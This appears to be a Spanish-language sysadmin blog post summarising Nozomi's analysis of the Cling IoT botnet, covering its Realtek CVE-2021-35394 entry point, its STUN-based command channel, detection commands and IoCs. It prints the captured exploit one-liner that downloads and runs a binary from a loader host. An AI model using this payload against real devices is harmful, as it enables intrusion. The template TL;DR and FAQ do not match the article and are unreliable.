---
title: "Explotación de vulnerabilidad en Realtek SDK: Cling Botnet Amenaza Sysadmins Linux"
description: "Nozomi documenta Cling, botnet que abusa de STUN para esconder C2. Infecta IoT vía CVE-2021-35394 y 7 CVEs más. Comandos, IoCs y cómo detectarlo."
image: "https://soylinux.com/wp-content/uploads/2026/10/post_3917_featured.jpg"
---

# Explotación de vulnerabilidad en Realtek SDK: Cling Botnet Amenaza Sysadmins Linux

.soylinux-tldr{background:#f5f2e8 !important;border-left:4px solid #6a8f3c !important;padding:20px 24px !important;margin:24px 0 !important;border-radius:6px !important;box-shadow:0 1px 4px rgba(0,0,0,0.06) !important;}.soylinux-tldr *{color:#1a1a1a !important;}.soylinux-tldr p.tldr-title{margin:0 0 12px 0 !important;font-weight:700 !important;font-size:1.15em !important;color:#2d5016 !important;}.soylinux-tldr ul{margin:0 !important;padding-left:22px !important;}.soylinux-tldr li{margin:6px 0 !important;line-height:1.6 !important;color:#1a1a1a !important;}.soylinux-tldr li strong{color:#2d5016 !important;font-weight:700 !important;}

TL;DR — Lo que vas a tener al final

- **Tiempo de setup:** 30 minutos a 2 horas dependiendo de la complejidad del entorno.

- **Requisitos:** Acceso root, Linux moderno, conexión a internet para descargar dependencias.

- **Resultado:** Servicio funcional y estable, documentado paso a paso.

- **Troubleshooting:** Logs estándar en /var/log/, comandos de verificación al final de cada sección.

## Por qué Cling importa aunque el parche lleve años publicado

CVE-2021-35394 se publicó en agosto de 2021 y la vulnerabilidad se [documentó formalmente en NVD](https://www.cve.org/CVERecord?id=CVE-2021-35394) como inyección de comandos en el binario `UDPServer` (también llamado MP Daemon) que viene con el SDK de Realtek Jungle, versiones v2.x hasta v3.4.14B. El fabricante publicó un parche para versiones posteriores del SDK, pero el problema de fondo es que ese componente se compila dentro del firmware de routers, access points, repetidores, DVRs y cámaras IP que ya están en producción y rara vez reciben actualizaciones. Por eso en octubre de 2026 los honeypots de [Nozomi Networks Labs siguen viendo un pico masivo de explotación contra ese mismo CVE](https://www.nozominetworks.com/blog/a-stunning-disguise-cling-malware-masquerades-as-google-): cinco años después, sigue siendo un vector de entrada barato para botnets IoT.

Cling es la nueva familia de malware que Nozomi documentó la primera semana de octubre. Lo interesante no es el exploit inicial — el payload `orf;wget ...;chmod +x;./malware` ya es textbook — sino el canal de comando y control: abusa del protocolo STUN, definido en [RFC-8489](https://datatracker.ietf.org/doc/rfc8489/), para esconder el tráfico C2 como si fuera NAT-traversal legítimo. Para un sysadmin Linux, esto cambia la conversación: ya no alcanza con bloquear dominios o IPs sospechosas; hay que mirar qué sale de tu red hacia servidores STUN públicos.

## El vector de entrada: UDPServer en Realtek Jungle SDK

El binario `UDPServer` es un servicio de diagnóstico que Realtek incluye en su SDK para que el fabricante del equipo final pueda hacer troubleshooting por LAN. En la mayoría de los firmwares viene expuesto, a veces por error, en la interfaz WAN. El servicio escucha en UDP y procesa comandos que llegan con el prefijo `orf;`. Lo que el operador malicioso envía después de ese prefijo se ejecuta con privilegios de root en el dispositivo, porque `UDPServer` corre como `root` por diseño.

El payload que Nozomi capturó en sus honeypots es directo al hueso:

```
`# Forma genérica del exploit (CVE-2021-35394) orf;wget http://118.45.196.225:800/mipsel -O /tmp/.x;chmod +x /tmp/.x;/tmp/.x realtek.selfrep`
```

El argumento `realtek.selfrep` es una etiqueta que el dropper usa después para registrar el método de infección ante el C2. Los loader hosts que Nozomi observó en esta campaña son `118.45.196[.]225`, `120.193.219[.]210` y `58.211.144[.]243`, todos en el puerto 800 sirviendo binarios para arquitecturas MIPS little-endian. Si ves tráfico hacia cualquiera de esos tres desde tu red, asume compromiso.

Lo más incómodo de este vector es que, una vez que un dispositivo queda infectado, Cling no necesita que el atacante guarde la persistencia vía cron o systemd — usa los init scripts de BusyBox y SysV que el firmware ya tiene. Se copia a `/root/.cling` y `/usr/local/bin/.cling`, y luego agrega líneas a `/etc/inittab`, `/etc/init.d/rcS` y `/etc/rc.d/rc.boot` para arrancar en cada reboot. En un router de 2018, esos archivos rara vez se inspeccionan, así que la persistencia sobrevive meses.

## Propagación: no es solo Realtek, son ocho CVEs viejos en un solo binario

Cuando Nozomi desensambló la muestra MIPS (`3b0ac6aaabb3bf8058ca14f9c8ccc613cfa3ea71`), encontró lógica de escaneo embebida contra ocho vulnerabilidades distintas, no solo el `UDPServer` de Realtek:

CVE
Componente afectado

CVE-2014-8361
Realtek SDK (módulo distinto a UDPServer)

CVE-2016-10372
Eir D1000 router RCE

CVE-2016-20016
MVPower CCTV DVR RCE

CVE-2021-35394
Realtek Jungle SDK UDPServer

CVE-2023-26801
LB-LINK routers RCE

CVE-2023-41011
FiberHome SR1041F / China Mobile HG6543C4 RCE

CVE-2024-3721
TBK DVR RCE

CVE-2025-34037
Linksys RCE

Este es el patrón clásico de los botnets Mirai-like: un arsenal de exploits viejos, ya parcheados por los fabricantes pero nunca aplicados en los dispositivos de campo. El escaneo es oportunista — Cling barre rangos IPv4 y prueba cada puerto relevante. Lo que distingue a este de Mirai es lo que pasa después: en vez de reportarse a un panel de control central, la muestra aprende sus puertos públicos vía STUN y espera comandos en uno de esos puertos.

Para defenderte, la conclusión incómoda es que cualquier dispositivo IoT de red que tengas expuesto a internet es candidato. No es solo Realtek; es la larga cola de CVEs de cámaras, DVRs y routers baratos que llevan años sin parche. La pregunta correcta no es “¿tienes Realtek?” sino “¿qué otros CVEs de tu inventario de IoT llevan años sin parchear?”.

## El truco nuevo: STUN como canal de comando y control

STUN (*Session Traversal Utilities for NAT*) es el protocolo que aplicaciones como Zoom, Microsoft Teams, WebRTC y SIP usan para descubrir su IP pública y los puertos que el NAT les mapea hacia afuera. Eso significa que en una red corporativa promedio ya hay tráfico STUN legítimo saliendo hacia servidores públicos. Cling se aprovecha de eso.

La muestra mantiene una lista hardcodeada de 13 servidores STUN públicos:

```
`74.125.250.129:19302 # stun.l.google.com 145.249.115.184:3478 216.93.246.18:3478 85.17.88.164:3478 77.72.169.213:3478 77.72.169.211:3478 5.39.72.109:3478 81.187.30.115:3478 212.227.67.34:3478 212.227.67.33:3478 207.38.82.134:3478 83.211.9.232:3478 212.53.40.43:3478`
```

El flujo de comunicación tiene cuatro pasos. Primero, cada 5 segundos el bot envía un *STUN Binding Request* a todos los servidores de la lista, pero con el transaction ID puesto a todos ceros — algo que ningún cliente STUN legítimo hace, porque [RFC-8489](https://datatracker.ietf.org/doc/rfc8489/) exige que el ID sea aleatorio. Segundo, los servidores responden con un *Binding Success Response* que incluye la IP pública y el puerto mapeado. Tercero, el bot envía a cada servidor un datagrama UDP de registro con esos puertos y la etiqueta de infección (`realtek.selfrep` en este caso). Cuarto, queda escuchando: los comandos llegan como UDP a cualquiera de los puertos mapeados, codificados en el campo transaction ID del paquete.

¿Por qué funciona? Porque para un NIDS o un firewall, el tráfico parece STUN normal saliendo hacia un servidor de Google. La única señal discernible son los IDs en cero y la frecuencia de 5 segundos — pero si no tienes una regla específica, eso se pierde entre el ruido de Zoom y Teams. Nozomi hizo fingerprinting de los 13 servidores comparando respuestas controladas y descubrió que `145.249.115[.]184` no hace echo del transaction ID: responde con todos ceros, igual que el bot. Esa es la huella del operador de Cling.

### Lo peor: comandos disfrazados de respuestas de Google

La parte más sofisticada del diseño es la suplantación. Cuando Nozomi monitoreó comandos activos, los paquetes UDP que llegaban al bot desde el C2 parecían originarse en `74.125.250.129` — la IP de `stun.l.google.com`. La explicación más probable: spoofing de IP origen en un ASN que no hace source address validation (SAV) según [RFC-2728](https://datatracker.ietf.org/doc/rfc2827/). El operador envía paquetes UDP con source spoofeado, el bot los acepta porque vienen de “Google”, y para tu IDS es indistinguible del tráfico legítimo.

Los analistas de Nozomi midieron la diferencia de TTL entre respuestas legítimas de STUN y comandos C2, y la diferencia es consistente. Si haces `tcpdump` y ves respuestas de STUN con TTLs distintos para el mismo servidor, tienes una señal.

## Los comandos que soporta Cling

El C2 codifica ocho comandos en el transaction ID de 12 bytes. Son los clásicos de un botnet de nueva generación:

Comando
Efecto

execute
Descarga un payload desde ip:puerto y lo ejecuta con system(3)

scan_and_exploit
Escanea IPv4 y aplica los 8 CVEs embebidos para expandirse

stop_scanner
Detiene la propagación

tcp_tunnel
Acepta conexiones TCP entrantes en el puerto que se le pase

stop_tcp_tunnel
Cierra el túnel

proxy_relay
Conecta a un relay y reenvía tráfico bidireccional

stop_proxy
Termina el proxy

flood
Lanza un DoS UDP/TCP contra un target durante N segundos

Los targets que Nozomi observó en la última semana incluyen un ISP de Corea del Sur (`112.151.157[.]222:8080`), un cluster de la Universidad de Chicago (`192.170.240[.]137:53`) y dos servidores de Minecraft (`23.81.40[.]193:25565` y `147.185.221[.]129:25565`). El último comando de expansión que recibieron los honeypots venía de `121[.]32.243.81:1337` — otro loader que probablemente está activo en otra campaña de Cling.

## Cómo verificar si tu red tiene un bot Cling ahora mismo

La detección de Cling es posible porque la muestra rompe RFC-8489 en formas concretas. Estos son los comandos para cazar el patrón desde tu red:

```
`# 1. Buscar dispositivos enviando Binding Requests con transaction ID en ceros. # Captura 60 segundos, filtra STUN y revisa si hay TXN ID sospechoso. sudo tcpdump -i any -w /tmp/stun.pcap 'udp port 3478 or udp port 19302' -c 5000 tshark -r /tmp/stun.pcap -Y 'stun' -T fields -e stun.id 2>/dev/null | awk '$0 == "0000000000000000000000"' | wc -l # Si ves mas de unos pocos en un minuto contra el mismo server, # hay un bot. STUN legitimo usa IDs aleatorios de 96 bits.`
```

Segundo, busca los artefactos en los dispositivos embebidos:

```
`# 2. Verificar IoT/routers de tu red (via SSH si lo permiten) ssh router 'ls -la /root/.cling /usr/local/bin/.cling 2>/dev/null' ssh router 'cat /etc/inittab | grep -i cling' ssh router 'ls -la /usr/bin/wget.r /usr/bin/wget.p 2>/dev/null' # Si wget esta reemplazado por un binario sospechoso, es Cling o un worm similar. # Los scripts legitimos de mantenimiento harian fallar las descargas.`
```

Tercero, busca la persistencia en init scripts. BusyBox y SysV son los sistemas de init que usa el firmware de Realtek, así que los archivos `/etc/inittab`, `/etc/init.d/rcS` y `/etc/rc.d/rc.boot` no deben contener referencias a `.cling` ni a binarios sospechosos en `/tmp`.

### Indicadores de compromiso (IoCs) que debes bloquear ya

De la lista que Nozomi publicó, lo más accionable es bloquear los loader hosts y el servidor STUN coludido en tu firewall perimetral. Los hashes SHA256 son útiles para EDR en endpoints Linux que tengas:

```
`# Loader hosts (HTTP, puerto 800, sirven mipsel): # 118.45.196.225 # 120.193.219.210 # 58.211.144.243 # STUN server C2 (no es legitimo): # 145.249.115.184 # Hashes SHA256 de la muestra analizada: # 3b0ac6aaabb3bf8058ca14f9c8ccc613cfa3ea71 (mips) # 08636d09d9ffd1713bd6bcb965ad40b6ce3de1aa (mips)`
```

## ¿Por qué Nozomi destaca la ATT&CK T1090 (Proxy) como riesgo real para ti?

El mapeo que Nozomi publicó en su reporte incluye técnicas de MITRE ATT&CK que aplican directo a operadores Linux. Las que más me preocupan son tres:

- **T1037 — Boot or Logon Initialization Scripts**: la persistencia en `/etc/inittab` significa que el dispositivo sigue comprometido después de cada reboot. Restaurar a ajustes de fábrica no necesariamente borra al bot — si el fabricante hardcodea UDPServer en su firmware de recovery, el dropper puede re-infectar al primer reescaneo.

- **T1574 — Hijack Execution Flow**: el reemplazo de `wget` por una copia del malware con el original renombrado a `wget.r` es un truco viejo pero efectivo. Cada vez que un cron job del firmware corre `wget` (actualizaciones automáticas, descarga de firmware, scripts de mantenimiento), se re-ejecuta el bot.

- **T1090 — Proxy**: el comando `proxy_relay` convierte al dispositivo IoT en un relay para tráfico de terceros. Si un atacante usa tu AP comprometido como pivot hacia tu red interna, las conexiones aparecen con source IP de un dispositivo que tu inventario ya conoce.

Para mitigación real, el plan es trifocal: (1) parchar todo IoT que tenga firmware actualizado disponible — sé que suena obvio, pero la mayoría de operadores no lo hace; (2) segmentar la red IoT en una VLAN sin ruta de retorno a tu LAN corporativa; (3) monitorear el tráfico STUN saliente con baseline por dispositivo, no por subred agregada.

## Conclusión: la edad del parche no importa, importa la edad del dispositivo

Cling no es un exploit zero-day ni una técnica de evasión revolucionaria. Es un recordatorio incómodo de que un CVE parcheado en 2021 sigue siendo funcional en 2026 porque el dispositivo que lo carga no recibe updates. La parte nueva — el abuso de STUN para esconder C2 — es relevante porque cambia qué monitoreas: ya no es solo el firewall perimetral, también es el comportamiento de los dispositivos IoT hacia internet.

Si administras una red con IoT, la acción concreta es auditar el tráfico STUN saliente hoy mismo. La señal reveladora es un dispositivo enviando Binding Requests cada 5 segundos a múltiples servidores con transaction ID en ceros. Eso no es Zoom, no es Teams, no es WebRTC normal — es Cling o algo que aprendió del mismo truco.

## Preguntas frecuentes

¿Por qué Explotación de vulnerabilidad en Realtek SDK: Cling Botnet Amenaza Sysadmins Linux es relevante para sysadmins Linux?
Forma parte del flujo diario de administración. Los conceptos explicados se aplican directamente a servidores en producción y resuelven problemas reales que enfrentan sysadmins hispanohablantes.

¿Qué necesito para empezar con Explotación de vulnerabilidad en Realtek?
Distribución Linux actualizada (Debian, Ubuntu, RHEL, Fedora o Arch), acceso root, y conexión a internet. Para producción: entorno de staging separado antes de aplicar cambios.

¿Cuáles son los errores más comunes con Explotación de vulnerabilidad en Realtek?
Los tres más frecuentes: (1) saltar la lectura de logs, (2) aplicar cambios directos en producción sin probar, (3) olvidar permisos y ownership. La documentación y un plan de rollback siempre.

¿Cuándo usar Explotación de vulnerabilidad en Realtek y cuándo una alternativa?
Esta solución es ideal para el caso descrito. Alternativas como Docker, Ansible o configuración manual pueden ser mejores según contexto: portabilidad, escala y reproducibilidad son los factores clave.

¿Cómo migro desde una configuración previa a Explotación de vulnerabilidad en Realtek?
Documentar el estado actual, probar la nueva configuración en staging, validar funcionalmente, y aplicar en producción con rollback plan listo. Los posts de SoyLinux incluyen troubleshooting para los problemas más comunes.

## Lee también

- [Guía Fedora 44: Novedades, Instalación y Upgrade para Sysadmins Linux](https://soylinux.com/guia-fedora-44-novedades-instalacion-y-upgrade/)

- [Configura VLANs en Linux con nmcli: Guía paso a paso para sysadmins](https://soylinux.com/configura-vlans-linux-nmcli-paso-a-paso-sysadmins/)

- [Protege tu SSH: Guía esencial para configurar Fail2ban en Linux](https://soylinux.com/protege-tu-ssh-fail2ban-guia-esencial-linux/)

- [Guía Definitiva: Configura Kubernetes con kubeadm en Ubuntu para Sysadmins Linux](https://soylinux.com/kubeadm-kubernetes-ubuntu-sysadmins-2026/)

- [Configura Prometheus y Grafana: Guía DevOps para SysAdmins Linux](https://soylinux.com/configurar-prometheus-grafana-monitoring-linux-sysadmins/)

---

**Categorías:** Seguridad
**Etiquetas:** cve, exploit, hardening, iot, linux, malware, seguridad, sysadmin
**Autor:** Alfonso Moreno | Sysadmin Senior
**Fecha:** 2026-10-05T21:41:19-04:00
**URL:** https://soylinux.com/realtek-jungle-sdk-cling-botnet-stun-c2-sysadmins-linux/